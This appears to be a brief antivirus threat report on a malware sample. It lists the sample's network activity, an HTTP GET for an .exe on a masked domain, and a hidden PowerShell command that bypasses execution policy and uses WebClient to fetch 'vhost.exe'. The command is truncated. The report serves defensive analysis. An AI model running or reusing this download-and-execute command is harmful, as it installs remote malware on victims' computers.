Technical Information
Malicious functions
Downloads and executes files.
Network activity
Connects to
- 'wi##cam.it':80
TCP
HTTP GET requests
- http://www.wi##cam.it//wp/web/logs/lol/a.exe
UDP
- DNS ASK wi##cam.it
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -executionpolicy bypass -WindowStyle Hidden -noprofile -noexit If (test-path $env:TEMP + '\vhost.exe') {Remove-Item $env:TEMP + '\vhost.exe'}; $cli = New-Object System.Net.WebClient; $cli.Hea...' (with hidden window)
